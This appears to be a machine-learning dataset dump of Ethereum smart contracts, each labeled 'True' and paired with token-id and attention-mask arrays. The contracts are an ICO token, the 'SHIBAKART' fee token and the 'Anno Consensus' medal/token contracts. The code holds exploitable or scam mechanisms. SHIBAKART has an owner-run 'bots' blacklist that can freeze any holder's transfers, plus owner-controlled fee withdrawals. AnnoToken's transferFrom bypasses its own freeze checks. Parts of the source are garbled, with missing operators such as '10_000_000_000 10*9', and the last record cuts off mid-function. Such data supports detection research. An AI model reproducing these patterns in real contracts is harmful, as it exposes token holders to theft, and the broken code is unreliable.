ether; marketMaxSupply = 450000000 * 1 ether; } // The function of purchasing tokens function () private payable crowdsaleState { require(msg.value >= 0.0001 ether); require(now >= startTime); uint256 currentMaxSupply; uint256 tokensPerEther = 5000; uint256 _tokens = tokensPerEther * msg.value; uint256 bonus = 0; // PRE-SALE calculation of bonuses // NOTE: PRE-SALE will be not used for TESTERIUM2 if (contract_state == State.Presale) { // PRE-SALE supply limit currentMaxSupply = presaleMaxSupply; // For the tests replace days to minutes if (now <= startTime + 1 days) { bonus = 25; } else if (now <= startTime + 2 days) { bonus = 20; } // ICO supply limit } else { currentMaxSupply = marketMaxSupply; } _tokens += _tokens * bonus / 100; uint256 restTokens = currentMaxSupply - totalSupply; // If supplied tokens more that the rest of the tokens, will refund the excess ether if (_tokens > restTokens) { uint256 bonusTokens = restTokens - restTokens / (100 + bonus) * 100; // The wei that the investor will spend for this purchase uint256 spentWei = (restTokens - bonusTokens) / tokensPerEther; // Verify that not return more than the incoming ether assert(spentWei < msg.value); // Will refund extra ether msg.sender.transfer(msg.value - spentWei); _tokens = restTokens; } mintTokens(msg.sender, _tokens); } // Finish the PRE-SALE period, is required the Presale state of the contract function finishPresale() public onlyOwner returns (bool success) { require(contract_state == State.Presale); contract_state = State.waitingForICO; NewState(contract_state); return true; } // Start the ICO period, is required the waitingForICO state of the contract function startICO() public onlyOwner returns (bool success) { require(contract_state == State.waitingForICO); contract_state = State.ICO; NewState(contract_state); return true; } // Our tokens function finishICO() public onlyOwner returns (bool success) { require(contract_state == State.ICO); mintTokens(owner, 50000000000000000000000000); contract_state = State.Active; NewState(contract_state); return true; } } // See ERC20 interface above contract TESTERIUM2 is ICO { using SafeMath for uint256; string public constant name = "ZAREK TOKEN"; string public constant symbol = "€XPLAY"; uint8 public constant decimals = 18; mapping (address => mapping (address => uint256)) private allowed; function balanceOf(address _who) public constant returns (uint256 available) { return balances[_who]; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public activeState returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public activeState returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public activeState returns (bool success) { require(_spender != address(0)); require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2324, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 1013, 1013, 1996, 2028, 2040, 2741, 1996, 3206, 2000, 1996, 3796, 24925, 2078, 1010, 2097, 8073, 2468, 1996, 3954, 1997, 1996, 3206, 3853, 3079, 1006, 1007, 4722, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1013, 1013, 1996, 3853, 4820, 2023, 16913, 18095, 2064, 2069, 2655, 1996, 3954, 1997, 1996, 3206, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 3954, 1027, 1027, 5796, 2290, 1012, 4604, 2121, 1007, 1025, 1035, 1025, 1065, 1013, 1013, 2689, 1996, 3954, 1997, 1996, 3206, 3853, 2689, 12384, 2121, 1006, 4769, 2047, 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/** Submitted for verification at Etherscan.io on 2022-03-02 / // https://t.me/shibakarteth // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBAKART is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000_000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "SHIBAKART"; string private constant _symbol = "SHIBAKART"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x97421A2AcBCfab3A88a27d7E04d36e07A356B253); _buyTax = 12; _sellTax = 12; _rOwned[_feeAddress] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _feeAddress, _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 10_000_000_000 10*9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10_000_000_000 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 12) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 12) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 6185, 1008, 1013, 1013, 1013, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 11895, 3676, 6673, 22513, 2232, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 24856, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- //共识会 contract // //共识勋章：象征着你在共识会的地位和权利 //Anno Consensus Medal: Veni, Vidi, Vici // // Symbol : CPLD // Name : Anno Consensus Medal // Total supply: 1000000 // Decimals : 0 // // 共识币：维护共识新纪元的基石 //Anno Consensus Coin: Caput, Anguli, Seclorum // Symbol : anno // Name : Anno Consensus Token // Total supply: 1000000000 // Decimals : 18 // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Admin contract // ---------------------------------------------------------------------------- contract Administration { event AdminTransferred(address indexed _from, address indexed _to); event Pause(); event Unpause(); address public adminAddress = 0xbd74Dec00Af1E745A21d5130928CD610BE963027; bool public paused = false; modifier onlyAdmin() { require(msg.sender == adminAddress); _; } function setAdmin(address _newAdmin) public onlyAdmin { require(_newAdmin != address(0)); AdminTransferred(adminAddress, _newAdmin); adminAddress = _newAdmin; } function withdrawBalance() external onlyAdmin { adminAddress.transfer(this.balance); } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyAdmin whenNotPaused returns(bool) { paused = true; Pause(); return true; } function unpause() public onlyAdmin whenPaused returns(bool) { paused = false; Unpause(); return true; } uint oneEth = 1 ether; } contract AnnoMedal is ERC20Interface, Administration, SafeMath { event MedalTransfer(address indexed from, address indexed to, uint tokens); string public medalSymbol; string public medalName; uint8 public medalDecimals; uint public _medalTotalSupply; mapping(address => uint) medalBalances; mapping(address => bool) medalFreezed; mapping(address => uint) medalFreezeAmount; mapping(address => uint) medalUnlockTime; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function AnnoMedal() public { medalSymbol = "ANCM"; medalName = "Anno Consensus Medal"; medalDecimals = 0; _medalTotalSupply = 1000000; medalBalances[adminAddress] = _medalTotalSupply; MedalTransfer(address(0), adminAddress, _medalTotalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function medalTotalSupply() public constant returns (uint) { return _medalTotalSupply - medalBalances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function medalBalanceOf(address tokenOwner) public constant returns (uint balance) { return medalBalances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function medalTransfer(address to, uint tokens) public whenNotPaused returns (bool success) { if(medalFreezed[msg.sender] == false){ medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], tokens); medalBalances[to] = safeAdd(medalBalances[to], tokens); MedalTransfer(msg.sender, to, tokens); } else { if(medalBalances[msg.sender] > medalFreezeAmount[msg.sender]) { require(tokens <= safeSub(medalBalances[msg.sender], medalFreezeAmount[msg.sender])); medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], tokens); medalBalances[to] = safeAdd(medalBalances[to], tokens); MedalTransfer(msg.sender, to, tokens); } } return true; } // ------------------------------------------------------------------------ // Mint Tokens // ------------------------------------------------------------------------ function mintMedal(uint amount) public onlyAdmin { medalBalances[msg.sender] = safeAdd(medalBalances[msg.sender], amount); _medalTotalSupply = safeAdd(_medalTotalSupply, amount); } // ------------------------------------------------------------------------ // Burn Tokens // ------------------------------------------------------------------------ function burnMedal(uint amount) public onlyAdmin { medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], amount); _medalTotalSupply = safeSub(_medalTotalSupply, amount); } // ------------------------------------------------------------------------ // Freeze Tokens // ------------------------------------------------------------------------ function medalFreeze(address user, uint amount, uint period) public onlyAdmin { require(medalBalances[user] >= amount); medalFreezed[user] = true; medalUnlockTime[user] = uint(now) + period; medalFreezeAmount[user] = amount; } function _medalFreeze(uint amount) internal { require(medalFreezed[msg.sender] == false); require(medalBalances[msg.sender] >= amount); medalFreezed[msg.sender] = true; medalUnlockTime[msg.sender] = uint(-1); medalFreezeAmount[msg.sender] = amount; } // ------------------------------------------------------------------------ // UnFreeze Tokens // ------------------------------------------------------------------------ function medalUnFreeze() public whenNotPaused { require(medalFreezed[msg.sender] == true); require(medalUnlockTime[msg.sender] < uint(now)); medalFreezed[msg.sender] = false; medalFreezeAmount[msg.sender] = 0; } function _medalUnFreeze(uint _amount) internal { require(medalFreezed[msg.sender] == true); medalUnlockTime[msg.sender] = 0; medalFreezed[msg.sender] = false; medalFreezeAmount[msg.sender] = safeSub(medalFreezeAmount[msg.sender], _amount); } function medalIfFreeze(address user) public view returns ( bool check, uint amount, uint timeLeft ) { check = medalFreezed[user]; amount = medalFreezeAmount[user]; timeLeft = medalUnlockTime[user] - uint(now); } } contract AnnoToken is AnnoMedal { event PartnerCreated(uint indexed partnerId, address indexed partner, uint indexed amount, uint singleTrans, uint durance); event RewardDistribute(uint indexed postId, uint partnerId, address indexed user, uint indexed amount); event VipAgreementSign(uint indexed vipId, address indexed vip, uint durance, uint frequence, uint salar); event SalaryReceived(uint indexed vipId, address indexed vip, uint salary, uint indexed timestamp); string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public minePool; struct Partner { address admin; uint tokenPool; uint singleTrans; uint timestamp; uint durance; } struct Poster { address poster; bytes32 hashData; uint reward; } struct Vip { address vip; uint durance; uint frequence; uint salary; uint timestamp; } Partner[] partners; Vip[] vips; modifier onlyPartner(uint _partnerId) { require(partners[_partnerId].admin == msg.sender); require(partners[_partnerId].tokenPool > uint(0)); uint deadline = safeAdd(partners[_partnerId].timestamp, partners[_partnerId].durance); require(deadline > now); _; } modifier onlyVip(uint _vipId) { require(vips[_vipId].vip == msg.sender); require(vips[_vipId].durance > now); require(vips[_vipId].timestamp < now); _; } mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) freezed; mapping(address => uint) freezeAmount; mapping(address => uint) unlockTime; mapping(uint => Poster[]) PartnerIdToPosterList; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function AnnoToken() public { symbol = "ANOT"; name = "Anno Consensus Token"; decimals = 18; _totalSupply = 1000000000000000000000000000; minePool = 600000000000000000000000000; balances[adminAddress] = _totalSupply - minePool; Transfer(address(0), adminAddress, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { if(freezed[msg.sender] == false){ balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); } else { if(balances[msg.sender] > freezeAmount[msg.sender]) { require(tokens <= safeSub(balances[msg.sender], freezeAmount[msg.sender])); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); } } return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(freezed[msg.sender] != true); allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { require(freezed[msg.sender] != true); return 